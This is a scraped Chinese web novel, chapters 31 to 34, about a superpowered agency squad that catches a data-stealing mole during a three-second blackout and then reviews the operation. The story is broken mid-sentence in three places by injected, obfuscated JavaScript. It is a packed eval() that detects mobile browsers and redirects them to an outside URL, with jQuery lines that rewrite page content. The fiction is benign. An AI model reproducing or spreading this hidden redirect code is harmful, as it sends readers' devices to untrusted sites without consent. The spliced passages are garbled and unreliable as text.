【你不是一个人。有我们。】 简单的六个字,却让杨晓晓心里踏实了许多。是啊,她不是一个人。有雷昊的技术支持,有林墨的渗透能力,有熊毅的保护,有陈树的指挥。 他们有完整的计划,有充分的准备,有团队默契。 杨晓晓重新躺下,闭上眼睛。 这次,脑海里不再是混乱的担忧,而是清晰的行动画面:她在监听点专注倾听,实时汇报;林墨谨慎穿墙,安装设备;雷昊精准控制停电时间;熊毅沉稳守住出口;陈树冷静指挥全局。 他们是团队,是一个整体。 凌晨两点,睡意终于袭来。 杨晓晓在入睡前的最后一刻,脑海里闪过一个念头: 明天过后,她就不再是“预备队员”了。 她会是真正的“谛听”,是第四行动小队不可或缺的“耳朵”。 窗外的城市已经沉入最深的睡眠,只有零星几盏灯还亮着。 在城市的某个角落,深蓝科技三楼那间看似普通的空房间里,某种电子设备正在待机,指示灯每隔三十秒闪烁一次。 在城市的另一个角落,特保局地下基地里,雷昊还在调试设备,确保每一个细节都完美。 在训练场,林墨刚刚结束最后一次穿墙练习,擦着汗走出模拟建筑。 在宿舍,熊毅检查完明天要用的装备,开始织今晚的第十行毛线——他织的是一只耳朵的形状,说要送给杨晓晓当护身符。 而在陈树的办公室里,灯光亮到天明。他面前的行动方案上,已经用红笔标注了所有可能的变数和应对措施。 平静的夜晚之下,暗流正在涌动。 明天,某些隐藏的东西将会暴露在阳光下。 明天,某些人的人生轨迹将会改变。 杨晓晓翻了个身,在睡梦中微微皱眉,然后又舒展开来。 她梦见了自己和队友们站在一起,背后是城市的灯火,面前是未知的黑暗。 但他们站得很稳,很坚定。 因为他们是团队。 是即将在暗夜中亮起的,“谛听”的眼睛和耳朵。 31. 监听者的视角 周二晚上九点二十九分,深蓝科技对面写字楼的安全屋内,杨晓晓做了第五次深呼吸。 面前的监听设备指示灯全部亮着绿色,六块显示屏分别呈现着不同画面:深蓝科技大楼的整体外观、三楼走廊实时监控、热成像轮廓图、声波频谱分析界面,以及雷昊传来的大楼电网状态图。所有画面都聚焦于同一个地点——三楼东侧,那间贴着“304备用资料室”标签的空房间。 此刻,那扇门紧闭着,门后一片寂静。 “各小组最后状态确认。”陈树的声音从耳机里传来,平稳得像在讨论天气预报。 “监听组就位。”杨晓晓按下通话键,努力让声音不发抖。 “渗透组就位,在对楼顶观察点。”林墨的声音比平时更轻,几乎像耳语。 “技术组就位,配电室附近待命。”雷昊难得地没开玩笑。 “警戒组就位,出入口布控完成。”熊毅的声音一如既往地沉稳。 “好。”陈树顿了顿,“杨晓晓,按计划执行。你只需要做三件事:听清,判断,汇报。” “明白。” 通讯频道安静下来。安全屋里只剩下设备散热风扇的低鸣,以及杨晓晓自己有些过快的心跳声。她闭上眼睛,默默念叨:“问题不大……就是听个声儿,报个位置,问题不大……” 九点三十分整。 杨晓晓将全部注意力集中在听觉上。 城市的声音像潮水般涌来,又被她层层过滤。两条街外的车流声推远,隔壁楼的空调嗡鸣调低,楼下便利店的电子提示音忽略。最后剩下的,是深蓝科技大楼三楼东侧那片区域的每一个细微声响。 墙体热胀冷缩的微小“咔嗒”声,窗框在夜风中轻微的振动声,电线在管道中通过的微弱电流嘶声。 还有——等待中的寂静。 九点三十二分,脚步声出现了。 从大楼后侧的消防通道开始,软底鞋踩在水泥楼梯上,每一步都刻意压低力度,步幅精准得像用尺子量过。 “目标出现,”杨晓晓对着麦克风轻声说,声音出乎意料地平稳,“从后门消防通道进入,正在上楼。软底鞋,步幅约65厘米,刻意放轻脚步,目前心态稳定。” “收到。”陈树的回应简短。 脚步声到达三楼,停了三秒——仔细听环境。 转向东侧走廊。 杨晓晓在心里默默计数。一步,两步,三步……十七步后停住。 钥匙插入锁孔的声音——很轻,但她听出了锁芯转动的细微机械声。特制钥匙,几乎无声。 门开了。人进入。门被轻轻带上。 “目标进入304室,”杨晓晓汇报,“关门声很轻,非常小心。” “房间内情况?”陈树问。 杨晓晓将听觉进一步聚焦。 目标进入房间后,有大约十五秒的完全静止——连呼吸声都压得很低,在仔细确认环境。 然后,脚步声再次响起,向房间东北角移动。 “他走向东北角,”杨晓晓闭上眼睛,用声音构建画面,“步伐稳定,对房间很熟悉。停在东北角墙边……有金属摩擦声……” 她仔细分辨:“不是暴力撬,是技巧性地打开隐藏机关。持续三秒,嵌板移开。” 接着是电子设备启动声:电容器充电的嘶嘶声,芯片启动的电流嗡鸣,小风扇转动的低鸣。 然后是键盘敲击声——键程短,声音脆,便携键盘。 “他在操作设备,”杨晓晓描述,“有数据传输提示音,每秒一次‘滴’声,稳定。现在……他在用加密通讯说话。” 声音经过处理,模糊不清,只能勉强听出是中年男性。 “内容听不清,但语速很快,”杨晓晓说,“每句话2到3秒,停顿短,像是在快速汇报。呼吸节奏和敲击同步——敲击时吸气,停顿时呼气,非常专注。” 通讯频道安静几秒,陈树说:“很好。持续监听。林墨,准备。” “等等。”杨晓晓突然出声。 键盘声停了。 不是正常停顿,是警觉性的突然中断。说话声也戛然而止,呼吸声变得更轻——目标在屏息倾听。 啊这…… 杨晓晓心里一紧。他察觉到什么了? 她立即将听觉调到最敏锐。304室内一片寂静,但隔壁303室的墙体内部,传来了极其细微的声音。 林墨开始穿墙了!墙体被特殊相位穿透时产生的微弱振动波! “林墨开始行动了,”杨晓晓在专门加密的双人频道里说,“但目标似乎察觉异常,停下了所有操作。” “我还没开始穿……”林墨困惑。 “不是你的声音,”杨晓晓快速判断,“可能是建筑本身的声音,或者其他动静。” 墙体内振动波稳定推进——林墨正式穿墙了。但几乎同时,304室内,目标行动起来。 杨晓晓听到快速走向墙壁的脚步声,手掌拍在墙面上的声音,一下,两下,三下——仔细检查。 “谁?”压低的声音,带着警惕。 接着是快速收拾的声音:设备关机“嘀嘀”声,数据线拔出的摩擦声,存储设备取出的咔哒声…… “他发现异常了!”杨晓晓在主频道紧急汇报,“目标检查墙壁!开始收拾设备准备撤离!” “林墨,立即撤回!”陈树下令。 “我正在撤!”林墨声音紧绷,“但这面墙结构不对……钢筋密度比预期高!撤回需要更多时间!” 杨晓晓听到墙体内振动波开始反向波动,但速度明显慢于穿入时。林墨遇到麻烦了,被更密的钢筋拖慢。 而304室内,目标动作越来越快。杨晓晓甚至听到了他急促而紊乱的呼吸声。 “雷昊,”陈树声音依旧冷静,“执行B方案,停电三秒。” “明白!倒计时三、二、一——执行!” 深蓝科技大楼灯光瞬间熄灭,整片区域陷入黑暗。 在那三秒的绝对黑暗中,杨晓晓的耳机里充满声音的混合: 目标撞到桌角的闷响和低咒。 林墨终于穿回墙体的“挤过”声,落地的轻响和急促喘息。 熊毅从楼梯间冲上的沉重脚步声,快速接近304室。 以及——最关键的细节——目标在黑暗中并没有冲向门口,而是在原地快速小幅度移动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191471|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几步,然后……脚步声几乎消失? 不,不是消失。 杨晓晓在黑暗中拼命倾听。停电只有三秒,她必须在这三秒内判断。 目标撞到桌子后,往右移动两步,停半秒,然后——脚步声变得极轻,踮着脚尖移动。往左,一步,又一步…… 反追踪步法!他在利用黑暗重新定位,准备从意想不到方向突围! “他在门后右侧两米处,紧贴墙壁!”杨晓晓在灯光恢复瞬间大喊,“目标没有冲向出口,利用视觉盲区!手里有东西——小型金属碰撞声!” 她的预警几乎和灯光恢复同步。 监控画面显示,熊毅撞开了304室的门。但门后确实没人——目标正如她判断,紧贴在门右侧墙壁阴影处。 画面中,一个穿深色夹克的中年男人手握黑色装置,正试图从熊毅视觉盲区向窗户移动。 “熊毅,他在你右侧!”杨晓晓喊。 熊毅立即转身,动作快得几乎产生残影。一个精准侧步完全封住目标去路。目标想变向,但熊毅速度更快,一只手已如铁钳扣住他手腕。 “放开!”目标挣扎,另一只手迅速摸向腰间。 “他腰间有东西!”杨晓晓预警。 几乎同时,林墨从走廊窗户翻入——这次没冒险穿墙,采用常规方式。他从侧面扑向目标,准确按住那只掏向腰间的手。 “控制!”熊毅沉声汇报。 “设备安全!”林墨从目标腰间掏出一个微型装置——带红色按钮的引爆器,按钮已半按下,再晚半秒数据就会自毁。 陈树和雷昊赶到。雷昊立即检查传输设备,手指在便携终端飞舞。陈树走到被控制的目标前,出示证件。 目标抬起头,脸上没有太多惊慌,反而露出一丝复杂表情。 杨晓晓在安全屋里听着这一切,长长舒了口气。她摘下耳机,才发现手心全是冰冷汗,后背衬衫湿透,握操作台的手指因过度用力而颤抖。 但心里,是一种前所未有的充实感——沉甸甸的、实实在在的“我做到了”。 “监听组任务完成,”她对着麦克风说,声音带着压抑不住的激动和一丝虚脱,“目标已控制,数据安全,无人员受伤。” 通讯频道安静几秒。 然后陈树的声音:“监听组表现优秀。杨晓晓,从目标上楼到被控制,你的监听汇报全程准确,关键节点判断精准,信息传递及时有效。” 接着是雷昊欢呼:“太棒了!晓晓你刚才那个预警太关键了!大熊说要不是你提醒具体位置,那家伙真的差点就从视觉盲区溜到窗口了!” 熊毅沉稳的声音:“表现很好。关键时刻保持冷静,信息传递清晰准确。” 连林墨都小声说:“谢谢你听到我穿墙时的异常……还有及时让我撤回。不然我可能真的会卡住或者被发现……” 杨晓晓靠在椅背上,感觉全身力气被抽空,但心里满满的。 窗外的城市灯火通明,深蓝科技大楼灯光已恢复正常,街道车流如织。一切都和半小时前一样,仿佛什么都没发生。 但杨晓晓知道,不一样了。 对她来说,一切都不同了。 32. 穿墙者的失误 凌晨十二点四十七分,特保局基地医疗室。 林墨坐在检查床边,低头盯着自己的右手腕——医务官刚给缠上弹性绷带,冰敷袋压在上面,传来阵阵凉意。 “轻度软组织扭伤,韧带没事,骨头完好。”医务官是个和蔼的中年女性,一边在病历上记录一边说,“冰敷24小时,尽量别用力。三天内不要尝试穿墙,一周内避免手腕负重。” 她放下笔,看着林墨:“你刚才说,是穿墙时扭到的?” “……嗯。”林墨小声应道,脸有点发热。 “老楼墙体结构复杂吧?”医务官像是见过不少类似情况,“以前也有穿墙能力者来我这里,都是在老建筑里出问题。图纸和实际不符,钢筋分布乱七八糟的。” 林墨点点头,没说话。医务官拍了拍他的肩:“好好休息,下次穿墙前记得先用设备探测。能力不是万能的,工具也很重要。” 说完,她离开医疗室,轻轻带上门。 房间里只剩下林墨一个人,还有医疗设备运行时细微的嗡鸣声。他盯着缠着绷带的手腕,脑子里反复回放刚才的画面—— 手掌融入墙体,顺利前进,然后碰到钢筋,发出声音,目标警觉,紧急撤回,扭伤手腕…… 每一个环节都清晰得像慢镜头重播。 咚。 那声轻微的、却足够致命的撞击声,仿佛还在耳边回响。 门开了,陈树走进来。 “陈队……”林墨下意识要站起来。 “坐着。”陈树按了按手,自己拉了把椅子过来坐下,“手腕怎么样?” “轻度扭伤,休息几天就好。”林墨低着头,声音越来越小,“对不起,陈队,我……我失误了。” 医疗室里安静了几秒。墙上的时钟滴答走着,每一声都敲在林墨心上。 “你知道行动结束后,我第一个问的是什么吗?”陈树突然问。 林墨抬头,有些困惑。 “我问杨晓晓,”陈树平静地说,“停电那三秒,林墨穿墙撤回的情况如何。” 林墨愣住。 “她告诉我,你虽然撤回得艰难,但在黑暗中抓住了时机,成功脱离墙体。”陈树看着他,“然后,在灯光恢复的瞬间,你不是躺在地上等救援,而是立刻从走廊窗户翻入304室,配合熊毅控制了目标。” 林墨张了张嘴,没说出话。 “失误,是发出了声音让目标警觉。”陈树继续说,“但应对,是在不利情况下成功脱身,并立即投入后续行动。在战场上,后者比前者重要得多。” 他顿了顿:“林墨,你以前是武警,应该明白这个道理——没有完美的行动,只有不断应对变化的战士。” 林墨沉默了很久,才轻声说:“我只是觉得……如果我更小心一点,行动会更顺利。杨晓晓不用那么紧张地预警,熊哥不用那么急迫地冲进去,雷昊不用紧急断电……” “那行动也就少了这些应变和配合的锻炼机会。”陈树打断他,“训练场上练一百次,不如实战中经历一次意外。这次你知道老楼的钢筋分布会和图纸不符,下次你就会提前探测。这次你知道穿墙调整方向有多难,下次你就会更谨慎地选择穿入点。” 他站起来,走到窗边,看着外面凌晨的城市:“你的能力很特殊,但也因此风险很高。一次穿墙失误,轻则扭伤,重则卡在墙里无法脱身。所以我们需要团队——杨晓晓监听环境,雷昊提供技术支持,熊毅负责现场保护,我指挥全局。团队的意义,就是让每个人都能最大限度地发挥能力,同时最大限度地降低风险。” 林墨看着陈树的背影,心里那股沉重的懊恼,终于松动了一些。 “我明白了。”他说。 “明白就好。”陈树转身,“好好休息。明天开始,加练两项内容:一是墙体结构快速辨识,二是穿墙过程中的紧急调整和撤回。” “是!” 陈树离开后不久,医疗室的门又被推开了。这次是雷昊探头进来:“墨墨!我们来看你了!” 他身后跟着熊毅和杨晓晓。熊毅手里提着一个小保温袋,杨晓晓捧着一个盒子。 “你们怎么来了?”林墨有些意外。 “庆功夜宵啊!”雷昊窜进来,自己拖了把椅子坐下,“虽然行动有点小波折,但整体大成功!必须庆祝!” 熊毅打开保温袋,从里面拿出几个饭盒:“馄饨,清淡的,适合受伤后吃。” 杨晓晓打开盒子,里面是几样小点心和一瓶果汁:“我买的,听说甜食能缓解疼痛。” 林墨看着三个人,鼻子突然有点酸。他用力眨了眨眼,把那股情绪压下去:“谢谢……谢谢大家。” 熊毅给他盛了一碗馄饨,热气腾腾的。雷昊递过筷子,杨晓晓帮忙打开果汁盒。 四个人围坐在医疗室的小桌边,在凌晨一点的寂静里,分享着简单的食物。 “说真的,”雷昊吃了一口馄饨,含糊不清地说,“墨墨你刚才从窗户翻进去那下,帅呆了!我监控里看得清清楚楚,大熊控制目标左手,你扑上去按右手,配合默契!” 林墨小声说:“那是本能反应……听到陈队说控制目标,就想帮忙。” “本能反应才说明训练到位了。”熊毅沉稳地说,“行动中没时间思考,靠的就是本能和肌肉记忆。” 杨晓晓点头:“而且你翻窗的动作很轻,我几乎没听到声音。要不是看到监控画面,我都不知道你已经进去了。” 林墨被夸得有点不好意思,低头喝汤。 “对了对了,”雷昊放下碗,从口袋里掏出平板,“给你们看个好东西!” 他调出深蓝科技大楼的结构图,放大到304和303之间的那面墙:“我分析了今晚的墙体数据!你们看——” 屏幕上,原本简洁的图纸上,现在密密麻麻标注着红色线条。 “这些是实际探测到的钢筋分布,”雷昊指着那些红线,“横向辅筋,直径8毫米,间距15厘米,整整三层!这根本不是原始设计,是后来多次加固加上去的!” 他划到下一页:“这是老楼的维修记录。十五年前因为隔壁施工导致墙体开裂,做过一次加固。十年前楼上漏水,又做了一次防水层加固。五年前消防检查,又加了一次防火层。每次加固都加了钢筋,但都没更新图纸!” 林墨看着那些复杂的红线,终于彻底释然了——这不是他能力不足,是情报有误。 “所以啊,”雷昊拍拍他的肩,“别自责了!这属于不可抗力!下次咱们提前用穿墙雷达扫一遍,保证没问题!” 熊毅补充:“穿墙雷达我已经申请了,下周能到货。” 杨晓晓笑着说:“而且陈队刚才在外面说,这次行动虽然有小意外,但整体评分很高。特别是团队配合部分,他打了满分。” 林墨抬头:“真的?” “当然真的!”雷昊说,“陈头说,从杨晓晓预警,到我断电,到大熊控制,到你配合,整个过程虽然只有几十秒,但衔接流畅,每个人都知道自己该做什么。这就是团队默契!” 林墨终于露出了今晚第一个真正的笑容。 是啊,虽然他有失误,但团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191472|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队弥补了。虽然过程有波折,但结果成功了。 这就是团队的意义。 吃完夜宵,雷昊和熊毅收拾东西,杨晓晓留下来陪林墨再坐一会儿。 “手腕还疼吗?”她问。 “好多了。”林墨活动了一下手指,“冰敷很有效。” 杨晓晓点点头,沉默了几秒,然后说:“其实我今晚也很紧张。” 林墨看向她。 “戴上耳机的时候,手一直在抖。”杨晓晓坦白,“听到目标上楼,心跳快得像要蹦出来。听到你穿墙,我比你还紧张。停电那三秒,我几乎是屏住呼吸在听……” 她顿了顿,笑了:“但是当我把听到的信息报出去,听到你们的回应,听到行动成功……那种感觉,很难形容。好像所有的紧张都值了。” 林墨轻声说:“谢谢你听到我撞墙……及时预警。” “也谢谢你穿墙,”杨晓晓认真地说,“虽然出了点小状况,但如果没有你吸引目标的注意力,他可能不会那么快暴露位置。陈队说得对,行动看的是整体配合。” 窗外,城市的灯火在凌晨的雾气中晕染开,像一幅朦胧的水彩画。 医疗室里很安静,只有两个人轻轻的呼吸声。 “林墨,”杨晓晓突然问,“你为什么会选择继续使用穿墙能力?我是说……它这么难,这么危险。” 林墨看着窗外,想了想:“一开始是因为……没得选。能力觉醒了,不用也得用。后来是因为……有用。” 他转过头:“在部队的时候,有一次执行任务,有人质被困在密闭空间里,常规方法进不去。那时候我就在想,如果有人能穿墙进去就好了。现在我能了,虽然还不熟练,虽然会失误,但……我想把它练好。万一有一天,真的需要有人穿墙去救人呢?” 杨晓晓看着他,忽然明白了这个安静内向的队友心里,藏着多么坚定的东西。 “你会练好的。”她说,“我们都会。” 林墨点头:“嗯。” 凌晨两点,杨晓晓离开医疗室。走廊里,她遇到正要离开的熊毅和雷昊。 “晓晓,一起走?”雷昊问。 “嗯。” 三人一起走向基地出口。深夜的基地很安静,只有他们的脚步声在走廊里回响。 “对了,”雷昊突然说,“陈头说明天下午开复盘会,然后放假两天。咱们要不要趁放假聚一下?真正的庆祝?” 熊毅:“我可以准备吃的。” 杨晓晓笑了:“好啊,我参加。” “那就这么说定了!”雷昊兴奋地说,“地点我来找,吃的熊哥负责,晓晓你负责……负责带人来就行!林墨手腕受伤,咱们去他方便去的地方。” 走出基地大楼,凌晨的空气清凉湿润。城市已经沉睡,只有零星几盏灯还亮着。 杨晓晓深吸一口气,感觉整个人都轻松了。 今天发生了太多事——第一次实战,第一次团队配合,第一次在高压下使用能力,第一次体会到“守护”的分量。 但她做到了。 而且,她有了一群可以信任的队友。 手机震动,是母亲发来的消息:“晓晓,睡了吗?妈妈睡不着,突然想你了。” 杨晓晓站在凌晨的街道上,看着这条消息,微笑着回复:“妈,我也想你。周末我回家,给你带好吃的。” 发送。 然后她收起手机,看向远方的天空。 东方已经泛起一丝极淡的鱼肚白,新的一天即将开始。 而她,已经准备好迎接它。 33. 三秒黑暗中的混乱 周三下午两点,特保局基地简报室。 虽然陈树说放假两天,但“复盘会还是要开的”——这是他的原话。所以四个人还是准时坐在了会议桌前,面前摊开笔记本,准备重新梳理昨晚行动的每一个细节。 陈树站在白板前,上面已经画出了一个粗略的时间线。他用笔敲了敲白板中央的一个位置:“今天重点复盘停电的三秒。这是整个行动的转折点,也是考验你们应变能力的时刻。” 他看向杨晓晓:“从你开始。停电瞬间,你听到了什么,按顺序说。” 杨晓晓翻开笔记本。昨晚回去后,她几乎没睡,脑子里反复回放那三秒的声音。她甚至用录音笔反复听了几遍自己的监听记录,把每一个细节都记了下来。 “停电瞬间,我同时听到了四件事。”她开始复述,声音很稳,“第一,目标撞到桌子的闷响和低咒——声音来自304室东北角,桌子在那边。撞击力度中等,说明他确实没料到停电,措手不及。” 她在笔记本上画了个简图:“根据声音判断,他是向右转身时撞到的桌子,因为撞击声后紧接着是往右移动的脚步声。” 陈树在白板上记下:“目标反应时间约0.5秒,确认。” “第二,”杨晓晓继续,“林墨成功穿回墙体的声音,然后是落地的轻响和急促喘息。声音来自303室,距离墙面约一米处。落地声很轻,说明林墨控制了落地姿势,但喘息声明显,说明他体力消耗很大。” 林墨在旁边点头:“我当时刚穿回,还没站稳,灯就黑了。落地时用手撑了一下,所以手腕扭伤。” “第三,”杨晓晓说,“熊毅从楼梯间冲上来的脚步声。停电前三秒,我听到熊哥的脚步声已经在三楼平台,停电瞬间他加速了。脚步声沉重但节奏稳定,说明虽然急,但没有慌乱。” 熊毅沉稳地补充:“我听到陈队下令停电,就判断目标会趁乱行动。所以提前开始向304室移动,停电时刚好到达门口位置。” “第四,”杨晓晓顿了顿,“也是最关键的——目标在黑暗中的动向。” 她闭上眼睛,努力重现当时的声音画面:“他撞到桌子后,往右移动了两步——脚步声清晰。然后停住半秒——完全静止。然后脚步声变得极轻,踮着脚尖往左移动。一步,停顿,又一步……他在用反追踪步法。” 陈树在白板上画出目标的移动轨迹:“所以你在灯光恢复瞬间,判断出他的真实位置。” “对,”杨晓晓睁开眼睛,“因为如果他真的想从窗户逃跑,应该直接冲过去,不会在黑暗中做这么复杂的移动。而且我听到他手里一直有小型金属碰撞声——如果是要跳窗,应该双手空出来准备撑窗台,不会一直握着东西。” 雷昊插嘴:“那个金属声就是存储设备和引爆器。我后来检查了,设备外壳是铝合金,握在手里移动时确实会有轻微碰撞声。晓晓你连这个都听出来了?” “声音很轻,但确实有。”杨晓晓说,“像两片薄金属互相摩擦的声音。” 陈树看向熊毅:“你当时的判断?” “我听到晓晓预警前,确实被假动作干扰了。”熊毅坦率地说,“黑暗中我听到往窗户方向的快速移动声——那是目标制造的假声音。我正准备往那边拦截,是听到晓晓喊‘他在门后’,才立刻改变方向。” “这说明了两点。”陈树在白板上写下,“第一,杨晓晓的听力预警在关键时刻起到了决定性作用。第二,我们的通讯系统在极端情况下表现稳定——停电三秒,通讯没有中断,关键信息及时传递。” 雷昊举手:“但还可以改进!我正在设计一套备用通讯方案,基于骨传导和震动编码。就算耳机失灵,也能通过贴在颈部的震动贴片传递简单指令。” “好,这个项目你负责。”陈树点头,然后看向林墨,“你的部分。” 林墨深吸一口气:“我……我穿墙时撞到钢筋,发出了声音。具体是在穿到大约两米深的位置,左手肘碰到了横向钢筋网。钢筋直径约8毫米,间距15厘米,分布密集。” 他在笔记本上画出示意图:“我原本的穿墙路径是直线,但遇到钢筋网后尝试调整方向,往右上偏移。调整过程中,手肘再次碰到钢筋,发出了‘咚’声。” “声音多大?”陈树问。 林墨想了想:“可能40-45分贝?在安静的夜晚,这个声音很明显。” 杨晓晓补充:“我听到的‘咚’声确实不大,但很突然,而且是在目标全神贯注操作设备的时候。他立刻停下了所有动作,说明他听到了。” 陈树在白板上写下“墙体结构情报不足”和“穿墙过程调整能力待加强”,然后说:“这不是你一个人的问题。我们的前期侦查不够细致,只依赖二十年前的建筑图纸,没有实地探测墙体内部结构。下次类似行动,需要提前用穿墙雷达扫描。” 他顿了顿:“但整体上,这次行动是成功的。更重要的是,这三十秒——从停电到控制目标——展现了团队的应变能力和配合默契。每个人都在关键时刻做出了正确选择。” 雷昊嘿嘿笑:“那陈头,这次能打多少分?” 陈树想了想:“团队配合90分,个人表现各有高低,总体80分。” “扣分点呢?” “前期侦查不足,穿墙过程出现失误,个别环节还可以更优化。”陈树冷静地列举,“但加分点更多:杨晓晓的关键判断,熊毅的现场应变,雷昊的技术支持,林墨的紧急撤回和后续配合,以及整个团队在突发情况下的冷静。” 他环视四人:“第一次实战,这个分数已经很不错了。记住,我们复盘不是为了批评,是为了下次做得更好。” 杨晓晓看着白板上密密麻麻的笔记,忽然真切地感受到这份工作的分量。每一个细节都可能影响成败,每一次行动都是真实的较量。 但她不害怕。 因为她不是一个人。 “好了,复盘到此为止。”陈树合上笔记本,“接下来两天放假,好好休息。周六上午九点,基地集合,开始下一阶段训练。” “是!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191473|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 四个人站起来,收拾东西。走出简报室时,雷昊伸了个懒腰:“终于可以真正放假了!我要回家睡个天昏地暗!” 熊毅说:“我去宠物店,给猫买新玩具。” 林墨小声说:“我回房间练字……医生说手腕轻度扭伤适合练字静心。” 杨晓晓想了想:“我回家看我爸妈。” “那周六见!”雷昊挥手,“周六咱们好好聚一次,庆祝小队成立!” 四人分开后,杨晓晓没有立刻离开基地。她走到训练场的露台,趴在栏杆上,看着下午的阳光洒在城市里。 一切都和往常一样,但一切又都不一样了。 手机震动,是“深蓝幼儿园”群里的消息。 雷昊:【@所有人周六聚会地点定啦!我朋友新开的私房菜馆,包间已经预留!下午五点,不见不散!】 熊毅:【收到。我可以带自己做的甜点。】 林墨:【我……我带茶叶。】 杨晓晓笑着打字:【我带水果。】 雷昊:【完美!那就这么说定了!】 放下手机,杨晓晓深吸一口下午的空气。温暖,带着初夏花草的香气。 她想起一个月前,自己还因为听到太多声音而烦恼,还在担心这份特殊的工作会不会太危险,还在犹豫要不要坚持下去。 而现在,她有了队友,有了方向,有了归属感。 “问题不大。”她轻声说,这次是真心的。 身后传来脚步声。她回头,看到陈树走过来。 “陈队。” 陈树走到她旁边,也趴在栏杆上:“在想什么?” “……在想这一个月的变化。”杨晓晓老实说,“一个月前,我还是个普通职员,现在……不太一样了。” “是不一样了。”陈树看着远方,“但有些东西不会变。你还是杨晓晓,还是你父母的女儿,还是会有喜欢和不喜欢的东西,还是会紧张,会害怕,会想偷懒。” 他顿了顿:“能力是工具,不是全部。别让它定义你。” 杨晓晓愣了愣,然后点头:“我记住了。” “周六聚会,好好玩。”陈树说,“训练下周开始会加量,特别是你的多频道监听和声音快速解析。做好准备。” “明白。” 陈树拍了拍她的肩,转身离开了。 杨晓晓继续趴在栏杆上,看着下面的城市。车流穿梭,行人匆匆,这个庞大的系统在阳光下平稳运转。 而她,现在是守护这个系统的一员了。 手机又震动,这次是母亲:“晓晓,你爸买了条大鱼,周末回来吃吗?” 杨晓晓微笑,回复:“回。周六晚上和朋友聚会,周日中午回家吃鱼。” 发送。 然后她收起手机,离开露台。 傍晚的阳光把她的影子拉得很长。 第一卷的故事,在这里告一段落。 但“谛听”小队的故事,才刚刚开始。 而她,已经准备好翻开下一页。 34. 收网与意外的温柔 凌晨五点二十,杨晓晓推开公寓门。 她没有立刻开灯,而是在黑暗中站了一会儿,让过度活跃的听觉慢慢适应这熟悉的安静——冰箱的低频嗡鸣,水管的细微流动,窗外远处早班车驶过的声音。这些日常的背景音,此刻听起来竟有些陌生。 脱下外套,她走到浴室打开灯。镜子里的自己脸色有些苍白,但眼睛很亮,亮得她自己都有点不适应。她凑近镜子,仔细看着瞳孔里残留的那点锐利——那是肾上腺素还没完全消退的痕迹。 “你今晚,”她对着镜子轻声说,“真的在实战中发挥了作用。” 声音在安静的浴室里显得格外清晰。她顿了顿,调整了一下呼吸,又试了几个音阶——从低到高,平稳流畅。 “还好没破音……”她小声嘀咕,随即又笑了。天知道在安全屋里喊出“他在你右侧”的时候,她用了多大的意志力才控制住声音的颤抖。 --- 上午九点,特保局基地。 陈树的办公室茶香袅袅。杨晓晓敲门进去时,他正把一杯刚泡好的茶推到她常坐的位置。 “目标的审讯结束了。”陈树直接切入正题,“他全盘交代,确实是‘灰雀’发展的内线。存储卡里的数据很完整,技术组评估价值重大。” 杨晓晓点点头,等下文。 陈树看了她一眼,似乎想说什么,但最终只是从抽屉里拿出一份新文件:“说正事。安全住所的安排。” 杨晓晓接过文件,快速浏览。三个小区,都是基地周边,安保严格,环境安静。清澜苑离基地最近,步行十五分钟。 “房租补贴80%,你承担20%。”陈树说,“如果选择不住,补贴折算现金,但我不建议——尤其是对你这种需要安静环境的能力者。” 文件里附了噪声检测报告。清澜苑夜间平均噪声值只有28分贝,比她现在的公寓低了整整12分贝。 “我需要考虑。”她说。 “应该的。”陈树点头,“下周一前给我答复。” 他顿了顿,补充道:“另外,下周开始你们小队正式排入值班表。每月有一周需要24小时待命,值班期间必须住在安全住所或基地宿舍。” 杨晓晓明白了。这意味着,即使她不搬家,值班周也必须离开现在的公寓。 “对了,”陈树在身后叫住正要离开的她,“昨晚的预警很及时。” 杨晓晓回头。 “虽然声音紧了点,”陈树说,“但关键时刻能喊出来,就是专业表现。” 她愣了愣,然后笑了:“谢谢陈队。” --- 走出基地时,杨晓晓在门口遇到林墨。他手里也拿着同样的文件,表情有些犹豫。 “你打算搬吗?”林墨小声问。 “大概率会。”杨晓晓说,“清澜苑的噪声值很适合听力训练。你呢?” “我应该也会搬。”林墨说,“现在住的地方离基地太远了……” 两人简单聊了几句便分开。杨晓晓没有直接回家,而是绕道去了附近的市场——她需要买点东西,顺便理清思路。 市场里人声嘈杂。她戴着特制的降噪耳塞,让那些声音变成模糊的背景。在水果摊前挑苹果时,摊主的大嗓门还是穿透了耳塞的过滤: “小姑娘,这苹果甜!早上刚到的!” 杨晓晓笑了笑,付钱接过袋子。走出市场时,她突然停下脚步,摘下一边耳塞。 